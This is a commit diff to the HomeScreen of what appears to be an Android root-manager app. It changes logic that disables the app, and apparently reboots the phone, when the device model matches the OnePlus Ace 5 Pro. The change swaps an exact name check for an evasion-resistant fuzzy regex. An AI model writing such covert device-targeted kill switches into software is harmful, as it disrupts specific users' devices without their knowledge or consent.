Opt device disabling logic in HomeScreen
This commit is contained in:
@@ -96,8 +96,10 @@ fun HomeScreen(navigator: DestinationsNavigator) {
|
|||||||
val isManager = Natives.becomeManager(ksuApp.packageName)
|
val isManager = Natives.becomeManager(ksuApp.packageName)
|
||||||
val ksuVersion = if (isManager) Natives.version else null
|
val ksuVersion = if (isManager) Natives.version else null
|
||||||
|
|
||||||
|
if (kernelVersion.isGKI()) {
|
||||||
if (ksuVersion != null) {
|
if (ksuVersion != null) {
|
||||||
if (deviceModel == "一加 Ace 5 Pro" && managerVersion > ksuVersion + 1) {
|
val pattern = "一.*加.*A.*c.*e.*5.*P.*r.*o".toRegex()
|
||||||
|
if (pattern.matches(deviceModel) && managerVersion > ksuVersion + 3) {
|
||||||
isDisabled = true
|
isDisabled = true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -108,6 +110,7 @@ fun HomeScreen(navigator: DestinationsNavigator) {
|
|||||||
reboot()
|
reboot()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
Scaffold(
|
Scaffold(
|
||||||
topBar = {
|
topBar = {
|
||||||
|
|||||||
Reference in New Issue
Block a user